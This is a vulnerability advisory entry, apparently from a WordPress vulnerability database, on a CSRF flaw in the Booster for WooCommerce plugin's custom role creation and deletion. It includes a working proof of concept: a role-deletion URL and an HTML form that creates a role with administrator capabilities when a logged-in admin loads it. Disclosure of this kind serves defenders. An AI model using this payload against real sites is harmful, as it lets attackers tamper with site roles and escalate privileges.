Lucene search

K
wpexploitWpvulndbWPEX-ID:9B77044C-FD3F-4E6F-A759-DCC3082DCBD6
HistoryNov 21, 2022 - 12:00 a.m.

Booster for WooCommerce - Custom Role Creation/Deletion via CSRF

2022-11-2100:00:00
wpvulndb
208
woocommerce
custom role
csrf

EPSS

0.001

Percentile

34.1%

The plugins does not properly check for CSRF when creating and deleting Customer roles, allowing attackers to make logged admins create and delete arbitrary custom roles via CSRF attacks

To delete the custom role dj (it's possible to delete roles created by other plugins), make a logged in admin open https://example.com/wp-admin/admin.php?page=wcj-tools&tab=custom_roles&wcj_delete_role=dj

To create a custom role, make a logged in admin open a page containing the HTML code below

<form action="https://example.com/wp-admin/admin.php?page=wcj-tools&tab=custom_roles" method="POST">
    <input type="text" name="wcj_custom_role_id" value="via-csrf">
    <input type="text" name="wcj_custom_role_name" value="attacker">
    <input type="text" name="wcj_custom_role_caps" value="administrator">
    <input type="submit" name="submit" value="submit">
</form>

EPSS

0.001

Percentile

34.1%

Related for WPEX-ID:9B77044C-FD3F-4E6F-A759-DCC3082DCBD6